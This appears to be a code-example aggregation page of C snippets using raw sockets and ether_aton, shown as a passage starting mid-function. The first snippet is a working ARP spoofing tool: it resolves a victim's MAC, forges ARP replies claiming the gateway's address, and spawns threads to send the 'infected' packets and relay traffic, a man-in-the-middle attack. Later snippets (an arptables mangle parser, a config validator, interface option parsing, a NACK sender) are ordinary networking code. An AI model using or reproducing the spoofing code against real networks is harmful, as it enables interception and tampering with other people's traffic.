    printf("Src MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", \
      mac_addr->ether_addr_octet[0], \
      mac_addr->ether_addr_octet[1], \
      mac_addr->ether_addr_octet[2], \
      mac_addr->ether_addr_octet[3], \
      mac_addr->ether_addr_octet[4], \
      mac_addr->ether_addr_octet[5]);
  else
    fprintf(stderr, "Couldn't get own MAC address: %s\n", \
      libnet_geterror(l));
  libnet_destroy(l);

  // Submit request for a raw socket descriptor.
  if ((sd2 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }
  // Listen for incoming ethernet frame from socket sd.
  // We expect an ARP ethernet frame of the form:
  //     MAC (6 bytes) + MAC (6 bytes) + ethernet type (2 bytes)
  //     + ethernet data (ARP header) (28 bytes)
  // Keep at it until we get an ARP reply.
  arphdr_receive = (arp_hdr *)(ether_frame2 + LIBNET_ETH_H);

  /////////////////////// 1. send REQUEST packet  ////////////////////////////

  // ARP header (request)

  // Hardware type (16 bits): 1 for ethernet
  // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arphdr_send.htype = htons(ARPHRD_ETHER);

  // Protocol type (16 bits): 2048 for IP
  arphdr_send.ptype = htons(ETHERTYPE_IP);


  // Hardware address length (8 bits): 6 bytes for MAC address
  arphdr_send.hlen = 6;

  // Protocol address length (8 bits): 4 bytes for IPv4 address
  arphdr_send.plen = 4;

  // OpCode: 1 for ARP request
  arphdr_send.opcode = htons(ARPOP_REQUEST);

  // Sender hardware address (48 bits): MAC address
  memcpy(&arphdr_send.sender_mac, mac_addr, 6 * sizeof(uint8_t));

  // Sender protocol address (32 bits)

  memcpy(&arphdr_send.sender_ip, &ip_addr, 4 * sizeof(uint8_t));

  // See getaddrinfo() resolution of src_ip;.

  // Target hardware address (48 bits): zero, since we don't know it yet.
  memset(&arphdr_send.target_mac, 0, 6 * sizeof(uint8_t));

  // Target protocol address (32 bits)
  memcpy(&arphdr_send.target_ip, &target_ip_addr, 4 * sizeof(uint8_t));

  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H;

  // Set destination MAC address: broadcast address
  dst_mac = (uint8_t *)malloc(6 * sizeof(uint8_t));
  memset(dst_mac, 0xff, 6 * sizeof(uint8_t));

  // Destination and Source MAC addresses
  memcpy(ether_frame, dst_mac, 6 * sizeof(uint8_t));
  memcpy(ether_frame + 6, mac_addr->ether_addr_octet, 6 * sizeof(uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).

  ether_frame[12] = ETHERTYPE_ARP / 256;
  ether_frame[13] = ETHERTYPE_ARP % 256;

  // Next is ethernet frame data (ARP header).

  // ARP header
  memcpy(ether_frame + LIBNET_ETH_H, &arphdr_send, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t));
  // Submit request for a raw socket descriptor.
  if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }

  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset(&device, 0, sizeof(device));
  if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) {
    perror("if_nametoindex() failed to obtain interface index ");
    exit(EXIT_FAILURE);
  }
  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t));
  device.sll_halen = 6;

  // Send ethernet frame to socket.
  if ((bytes = sendto(sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof(device))) <= 0) {
    perror("sendto() failed");
    exit(EXIT_FAILURE);
  }

  ///////////////////////////// 2. receive packet  ///////////////////////

  while (((((ether_frame2[12]) << 8) + ether_frame2[13]) != ETH_P_ARP) || (ntohs(arphdr_receive->opcode) != ARPOP_REPLY)) {
    if ((recv(sd2, ether_frame2, IP_MAXPACKET, 0)) < 0) {
      if (errno == EINTR) {
        memset(ether_frame2, 0, IP_MAXPACKET * sizeof(uint8_t));
        continue;
      }
      else {
        perror("recv() failed:");
        exit(EXIT_FAILURE);
      }
    }
  }
  ////////////////// print received packet ///////////////////

  // Print out contents of received ethernet frame.
  printf("\n [+]PRINT REPLY_PACKET");
  printf("\nEthernet frame header:\n");
  printf("Destination MAC (this node): ");
  int i = 0;
  for (i = 0; i < 5; i++) {
    printf("%02x:", ether_frame2[i]);
  }
  printf("%02x\n", ether_frame2[5]);
  printf("Source MAC: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", ether_frame2[i + 6]);
  }
  printf("%02x\n", ether_frame2[11]);
  // Next is ethernet type code (ETH_P_ARP for ARP).
  printf("Ethernet type code (2054 = ARP): %u\n", ((ether_frame2[12]) << 8) + ether_frame2[13]);
  printf("Ethernet data (ARP header):\n");
  printf("Hardware type (1 = ethernet (10 Mb)): %u\n", ntohs(arphdr_receive->htype));
  printf("Protocol type (2048 for IPv4 addresses): %u\n", ntohs(arphdr_receive->ptype));
  printf("Hardware (MAC) address length (bytes): %u\n", arphdr_receive->hlen);
  printf("Protocol (IPv4) address length (bytes): %u\n", arphdr_receive->plen);
  printf("Opcode (2 = ARP reply): %u\n", ntohs(arphdr_receive->opcode));
  printf("Sender hardware (MAC) address: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", arphdr_receive->sender_mac[i]);
  }
  printf("%02x\n", arphdr_receive->sender_mac[5]);
  printf("Sender protocol (IPv4) address: %u.%u.%u.%u\n",
    arphdr_receive->sender_ip[0], arphdr_receive->sender_ip[1], arphdr_receive->sender_ip[2], arphdr_receive->sender_ip[3]);
  printf("Target hardware (MAC) address: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", arphdr_receive->target_mac[i]);
  }
  printf("%02x\n", arphdr_receive->target_mac[5]);
  printf("Target protocol (IPv4) address: %u.%u.%u.%u\n",
    arphdr_receive->target_ip[0], arphdr_receive->target_ip[1], arphdr_receive->target_ip[2], arphdr_receive->target_ip[3]);
  printf("\n");

  ////////////////////// 3.send spoofing packet    /////////////////////////////////////

  arp_hdr arphdr_spoof;
  uint8_t *ether_frame3;
  ether_frame3 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  memset(ether_frame3, 0, IP_MAXPACKET * sizeof(uint8_t));

  // ARP header (request)
  // target mac = victim
  // sender mac = attacker
  // target ip = victim
  // sender ip = gateway
  // dst mac = victim mac
  // src mac = attacter mac


  // Hardware type (16 bits): 1 for ethernet
  // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arphdr_spoof.htype = htons(ARPHRD_ETHER);

  // Protocol type (16 bits): 2048 for IP
  arphdr_spoof.ptype = htons(ETHERTYPE_IP);


  // Hardware address length (8 bits): 6 bytes for MAC address
  arphdr_spoof.hlen = 6;

  // Protocol address length (8 bits): 4 bytes for IPv4 address
  arphdr_spoof.plen = 4;


  // OpCode: 1 for ARP request
  arphdr_spoof.opcode = htons(ARPOP_REPLY);

  // Sender hardware address (48 bits): MAC address
  memcpy(&arphdr_spoof.sender_mac, &arphdr_send.sender_mac, 6 * sizeof(uint8_t));

  // Sender protocol address (32 bits) : gateway address
  memcpy(arphdr_spoof.sender_ip, &gw_ip_addr, 4 * sizeof(uint8_t));

  // See getaddrinfo() resolution of src_ip;.

  // Target hardware address (48 bits): victim address
  memcpy(&arphdr_spoof.target_mac, arphdr_receive->sender_mac  , 6 * sizeof(uint8_t) );

  // Target protocol address (32 bits)
  memcpy(&arphdr_spoof.target_ip, &arphdr_send.target_ip, 4 * sizeof(uint8_t));


  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H;

  // Set destination MAC address: broadcast address
  uint8_t *dst_mac_spf;
  dst_mac_spf = (uint8_t *)malloc(6 * sizeof(uint8_t));
  memcpy(dst_mac_spf, arphdr_receive->sender_mac, 6 * sizeof(uint8_t));

  // Destination and Source MAC addresses
  memcpy(ether_frame3, arphdr_receive->sender_mac, 6 * sizeof(uint8_t));
  memcpy(ether_frame3 + 6, arphdr_receive->target_mac, 6 * sizeof(uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).
  // http://www.iana.org/assignments/ethernet-numbers
  ether_frame3[12] = ETHERTYPE_ARP / 256;
  ether_frame3[13] = ETHERTYPE_ARP % 256;

  // Next is ethernet frame data (ARP header).

  // ARP header
  memcpy(ether_frame3 + LIBNET_ETH_H, &arphdr_spoof, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t));
  // Submit request for a raw socket descriptor.
  if ((sd3 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }

  // Find interface index from interface name and store index in
  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset(&device, 0, sizeof(device));
  if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) {
    perror("if_nametoindex() failed to obtain interface index ");
    exit(EXIT_FAILURE);
  }
  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t));
  device.sll_halen = 6;

  printf("\n [+]SEND SPOOFING PACKET  \n");
  char *mac_buff;
  mac_buff = (char *)malloc(17 * sizeof(char));

  //Parameter param;
  spoof_P.sd = sd3;
  spoof_P.ether_frame = ether_frame3;
  spoof_P.frame_length = frame_length;
  spoof_P.device = device;

  arp_hdr pk;
  pk.htype = htons(ARPHRD_ETHER);
  pk.ptype = htons(ETHERTYPE_IP);
  pk.hlen = 6; //6 bytes for MAC address
  pk.plen = 4; //4 bytes for IPv4 address
  pk.opcode=htons(ARPOP_REQUEST);
  memcpy(pk.sender_mac, arphdr_spoof.target_mac, 6 * sizeof(uint8_t));
  memcpy(pk.sender_ip, arphdr_spoof.target_ip, 4 * sizeof(uint8_t));
  memcpy(pk.target_mac, arphdr_spoof.sender_mac, 6 * sizeof(uint8_t));
  memcpy(pk.target_ip, arphdr_spoof.sender_ip, 4 * sizeof(uint8_t));
  thr_id = pthread_create(&p_thread[0], NULL, send_packet, (void *)&spoof_P); //send infected packet
  thr_id2 = pthread_create(&p_thread[1], NULL, relay_packet, (void *)&pk); // relay infected packet

  pthread_join(p_thread[0],NULL);
  pthread_join(p_thread[1],NULL);
  free(mac_buff);
  free(dst_mac);
  free(ether_frame);
  free(ether_frame2);
  close(sd);
  close(sd2);

  close(sd3);

  return (EXIT_SUCCESS);
}
static int
parse(int c, char **argv, int invert, unsigned int *flags,
      const struct arpt_entry *e,
      struct arpt_entry_target **t)
{
	struct arpt_mangle *mangle = (struct arpt_mangle *)(*t)->data;
	struct in_addr *ipaddr;
	struct ether_addr *macaddr;
	int ret = 1;

	switch (c) {
	case MANGLE_IPS:
/*
		if (e->arp.arpln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no pln defined");

		if (e->arp.invflags & ARPT_INV_ARPPLN)
			exit_error(PARAMETER_PROBLEM,
				   "! pln not allowed for --mangle-ip-s");
*/
/*
		if (e->arp.arpln != 4)
			exit_error(PARAMETER_PROBLEM, "only pln=4 supported");
*/
		{
			unsigned int nr;
			ipaddr = parse_hostnetwork(argv[optind-1], &nr);
		}
		mangle->u_s.src_ip.s_addr = ipaddr->s_addr;
		free(ipaddr);
		mangle->flags |= ARPT_MANGLE_SIP;
		break;
	case MANGLE_IPT:
/*
		if (e->arp.arpln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no pln defined");

		if (e->arp.invflags & ARPT_INV_ARPPLN)
			exit_error(PARAMETER_PROBLEM,
				   "! pln not allowed for --mangle-ip-d");
*/
/*
		if (e->arp.arpln != 4)
			exit_error(PARAMETER_PROBLEM, "only pln=4 supported");
*/
		{
			unsigned int nr;
			ipaddr = parse_hostnetwork(argv[optind-1], &nr);
		}
		mangle->u_t.tgt_ip.s_addr = ipaddr->s_addr;
		free(ipaddr);
		mangle->flags |= ARPT_MANGLE_TIP;
		break;
	case MANGLE_DEVS:
		if (e->arp.arhln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no --h-length defined");
		if (e->arp.invflags & ARPT_INV_ARPHLN)
			exit_error(PARAMETER_PROBLEM,
				   "! --h-length not allowed for "
				   "--mangle-mac-s");
		if (e->arp.arhln != 6)
			exit_error(PARAMETER_PROBLEM, "only --h-length 6 "
						      "supported");
		macaddr = ether_aton(argv[optind-1]);
		if (macaddr == NULL)
			exit_error(PARAMETER_PROBLEM, "invalid source MAC");
		memcpy(mangle->src_devaddr, macaddr, e->arp.arhln);
		mangle->flags |= ARPT_MANGLE_SDEV;
		break;
	case MANGLE_DEVT:
		if (e->arp.arhln_mask == 0)
			exit_error(PARAMETER_PROBLEM, "no --h-length defined");
		if (e->arp.invflags & ARPT_INV_ARPHLN)
			exit_error(PARAMETER_PROBLEM,
				   "! hln not allowed for --mangle-mac-d");
		if (e->arp.arhln != 6)
			exit_error(PARAMETER_PROBLEM, "only --h-length 6 "
						      "supported");
		macaddr = ether_aton(argv[optind-1]);
		if (macaddr == NULL)
			exit_error(PARAMETER_PROBLEM, "invalid target MAC");
		memcpy(mangle->tgt_devaddr, macaddr, e->arp.arhln);
		mangle->flags |= ARPT_MANGLE_TDEV;
		break;
	case MANGLE_TARGET:
		if (!strcmp(argv[optind-1], "DROP"))
			mangle->target = NF_DROP;
		else if (!strcmp(argv[optind-1], "ACCEPT"))
			mangle->target = NF_ACCEPT;
		else if (!strcmp(argv[optind-1], "CONTINUE"))
			mangle->target = ARPT_CONTINUE;
		else
			exit_error(PARAMETER_PROBLEM, "bad target for "
						      "--mangle-target");
		break;
	default:
		ret = 0;
	}

	return ret;
}
Example #28
0
static int CheckValid()
{
	char temp_arr[1024];
	char *temp_strs[1024];
    int i, l, len_strs;
	char *port_strs[1024];
	char port_range[1024];
	char mybuf[] = "00:00:00:00:00:00";

	if (strlen(sysconfig.if_in) < 1 || strlen(sysconfig.if_out) < 1)
	{
        OD("missing ifnames");
		return -1;
	}

	if (sysconfig.is_test)
	{
		if (strlen(sysconfig.src_mac.name) < 1)
		{
			/* retrieve source mac address. */
			if (source_hwaddr(sysconfig.if_out, mybuf) == -1) {
                OD("Unable to retrieve source mac");
				return -1;
				// continue, fail later
			}
			strcpy(sysconfig.src_mac.name, mybuf);
		}
		/* extract address ranges */
		extract_ip_range(&sysconfig.src_ip);
		extract_mac_range(&sysconfig.src_mac);

        for (i = 0; i < sysconfig.dst_count && i < FIO_MAX_DST_TEST; i++)
        {
            extract_ip_range(&sysconfig.dst_ip[i]);
            extract_mac_range(&sysconfig.dst_mac[i]);
        }
	}

	if (source_hwaddr(sysconfig.if_in, mybuf) == -1) {
        OD("Unable to retrieve source mac %s", sysconfig.if_in);
		return -1;
	}
	bcopy(ether_aton(mybuf), &sysconfig.if_macs[0], ETH_ALEN);
    OD("if %s mac %s", sysconfig.if_in, mybuf);
	if (source_hwaddr(sysconfig.if_out, mybuf) == -1) {
        OD("Unable to retrieve source mac %s", sysconfig.if_out);
		return -1;
	}
	bcopy(ether_aton(mybuf), &sysconfig.if_macs[1], ETH_ALEN);
    OD("if %s mac %s", sysconfig.if_out, mybuf);

    extract_mac_range(&sysconfig.defgw_mac);
    OD("defgw mac %s", sysconfig.defgw_mac.name);

	if (get_if_ip(sysconfig.if_in, &sysconfig.if_ips[0]))
        OD("<error> %s get ip", sysconfig.if_in);
	if (get_if_ip(sysconfig.if_out, &sysconfig.if_ips[1]))
        OD("<error> %s get ip", sysconfig.if_out);

    OD("read %d ipmac", g_mac_num);

	len_strs = splite_str(sysconfig.str_interested_proto, 
			sizeof(sysconfig.str_interested_proto), temp_arr, 
			1024, temp_strs, 1024, ' ');
	translate_proto(temp_strs, len_strs, 1);

	len_strs = splite_str(sysconfig.str_def_proto, 
			sizeof(sysconfig.str_def_proto), temp_arr, 
			1024, temp_strs, 1024, ' ');
	translate_proto(temp_strs, len_strs, 2);

	len_strs = splite_str(sysconfig.str_interested_port, 
			sizeof(sysconfig.str_interested_port), temp_arr, 
			1024, temp_strs, 1024, ' ');

    for (i = 0; i < len_strs; i++)
    {
        l = splite_str(temp_strs[i], strlen(temp_strs[i])+1, 
                port_range, 1024, port_strs, 1024, '~');
        translate_port(port_strs, l, i);
    }
    sysconfig.mac_lifetime *= 1000000;
    sysconfig.mac_buddy_lifetime *= 1000000;
    //sysconfig.multip_checktime *= 1000000;

    if (strlen(sysconfig.if_in))
        strncpy(sysconfig.nic_names[sysconfig.num_nic++], sysconfig.if_in, FIO_MAX_NAME_LEN);
    if (strlen(sysconfig.if_out) && strcmp(sysconfig.if_out, sysconfig.if_in))
        strncpy(sysconfig.nic_names[sysconfig.num_nic++], sysconfig.if_out, FIO_MAX_NAME_LEN);

	return 0;
}
Example #29
0
static void
parse_long_opts(int option_index, char *opt_arg)
{
    errno = 0;

    if (!*(long_options[option_index].flag))
        *(long_options[option_index].flag) = 1;

    switch (option_index) {
    case ADD_OPT_INDEX:
        strncpy(if_name, opt_arg, sizeof(if_name));
        if_kindex = if_nametoindex(opt_arg);
        vr_op = SANDESH_OP_ADD;
        break;

    case CREATE_OPT_INDEX:
        strncpy(if_name, opt_arg, sizeof(if_name));
        break;

    case VRF_OPT_INDEX:
        vrf_id = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case MAC_OPT_INDEX:
        mac_opt = ether_aton(opt_arg);
        if (mac_opt)
            memcpy(vr_ifmac, mac_opt, sizeof(vr_ifmac));
        break;

    case DELETE_OPT_INDEX:
        vr_op = SANDESH_OP_DELETE;
        vr_ifindex = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case GET_OPT_INDEX:
        vr_op = SANDESH_OP_GET;
        vr_ifindex = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case MODE_OPT_INDEX:
        if (opt_arg[0] == 'x')
            vr_ifflags |= VIF_FLAG_XCONNECT;
        break;

    case POLICY_OPT_INDEX:
        vr_ifflags |= VIF_FLAG_POLICY_ENABLED;
        break;

    case LIST_OPT_INDEX:
        vr_op = SANDESH_OP_DUMP;
        break;

    case TYPE_OPT_INDEX:
        vr_if_type = vr_get_if_type(optarg);
        break;

    case SET_OPT_INDEX:
        vr_op = SANDESH_OP_ADD;
        vr_ifindex = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    case VLAN_OPT_INDEX:
        vr_ifflags |= VIF_FLAG_SERVICE_IF;
        vlan_id = strtoul(opt_arg, NULL, 0);
        if (errno)
            Usage();
        break;

    default:
        break;
    }

    return;
}
Example #30
0
void *send_nack(void *threadid)
	{
		sleep(8);
		long tid;
  		tid = (long) threadid;
		printf("Thread %ld in send\n",tid);
		char *interface="eth4",*dst_mac,*src_mac;
	
		// uint8_t *ether_frame;
		char ether_frame[PACKET_SIZE];
		struct sockaddr_ll device;
		struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr));
		struct ether_addr *ea_dest,*ea_src;
		int bytes=0;
		ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); 
		ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr));
		src_mac=(char *)malloc(6*sizeof(char));
		dst_mac=(char *)malloc(6*sizeof(char));
		neg=(struct negative *)malloc(sizeof(struct negative)); 
		// ether_frame=(uint8_t *)calloc(1,PACKET_SIZE*sizeof(uint8_t));
		memset(ether_frame,'b',PACKET_SIZE);
		// printf("PACKET: %s\n",ether_frame );

		// ether_frame = (uint8_t *)malloc(1500 * sizeof(uint8_t));
		// memset (&ether_frame, 0, (1500*sizeof(uint8_t)));
		iph = (struct ipheader *)malloc(sizeof( struct ipheader));
		
		// printf("%d\n", (int)sizeof(struct ipheader));
		
		layer4 = (struct custom_transport *)malloc(sizeof( struct custom_transport));
		
		// printf("%d\n", (int)sizeof(struct custom_transport));
	// **************************************************************************************************
		int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ;
		if(sock_raw<0)
			perror("Socket cannot be created \n");
		eth = (struct ethhdr *)ether_frame;
		iph = (struct ipheader *)(ether_frame  + sizeof(struct ethhdr) );
		// layer4 = (struct custom_transport *)(ether_frame  + sizeof(struct ethhdr) + 6 );
		neg=(struct negative *)(ether_frame  + HEADER_LEN - 4 );
		ea_src=ether_aton("a0:36:9f:0a:0f:56");
		memcpy(eth->h_source,ea_src->ether_addr_octet,6);
		// eth->h_source=ea_src->ether_addr_octet;
		// eth->h_source=ea_src;
		// router-node1 interface
		// ea_dest=ether_aton("a0:36:9f:0a:5c:da");

		// router-node2 interface
		ea_dest=ether_aton("a0:36:9f:08:58:22");
		memcpy(eth->h_dest,ea_dest->ether_addr_octet,6);
		//eth->h_dest=ea_dest->ether_addr_octet;
		
		// eth->h_proto=0x0800;
		eth->h_proto=htons(ETH_P_IP);
		iph->src_ip=3;
		iph->dest_ip=2;
		iph->session_id=atoi(session);
		// iph->total_len=16;

		 // layer4->seq=1;
		// layer4->src_p=1;
		// layer4->dest_p=0;
		// layer4->type=1;
		/////NACK logic////////
		neg->set=1;
		memset (&device, 0, sizeof (device));
		if ((device.sll_ifindex = if_nametoindex (interface)) == 0) {
			perror ("if_nametoindex() failed to obtain interface index ");
			exit (EXIT_FAILURE);
		}
		while(1)
		{
		j=0;
		for (k = start_nack; k <= PACKET_NUM; k++)
		{
			if (nack[k]==0)
			{
				neg->send_array[j]=k;
				j++;
			}
			if (j== WINDOW)
				break;

		}
		neg->size=j;
		

		while(nack[start_nack]==1)
		{
			start_nack++;
		}
		if(start_nack>=PACKET_NUM)
		{
			neg->size=-1;

			int fin_count;
			for (fin_count =0; fin_count < 2 ;fin_count++)
			{
				if ((bytes = sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) 
				{
					perror ("sendto() failed");
					exit (EXIT_FAILURE);
				}
			}
			// printf("LAST packet sent\n");
			break;
		}
			
		// if(start_nack>=end_nack)
		// {
		// 	end_nack=start_nack+WINDOW;
		// }

		// if(end_nack>PACKET_NUM)
		// {
		// 	end_nack=PACKET_NUM;
		// 	printf("nice\n");
		// }
		 printf("start_nack is : %d  and end_nack is : %d\n",start_nack,k);

		/////////END NACK LOGIC///////////////

		// memset (&device, 0, sizeof (device));
		// if ((device.sll_ifindex = if_nametoindex (interface)) == 0) {
		// 	perror ("if_nametoindex() failed to obtain interface index ");
		// 	exit (EXIT_FAILURE);
		// }
		// printf ("Index for interface %s is %i\n", interface, device.sll_ifindex);

		//int send_count=0;
		/*while(send_count <2)
		{*/
			// Send ethernet frame to socket.
			if ((bytes = sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) 
			{
				perror ("sendto() failed");
				exit (EXIT_FAILURE);
			}

			// printf("Packet has been sent with nack_set %d\n",neg->set);
			neg->set++;
			//send_count++;
		usleep(1000*1000);
	  	}
		close(sock_raw);
		// printf("Send nack socket closed\n");
		pthread_exit(NULL);
		printf("Send nack thread exit\n");

	}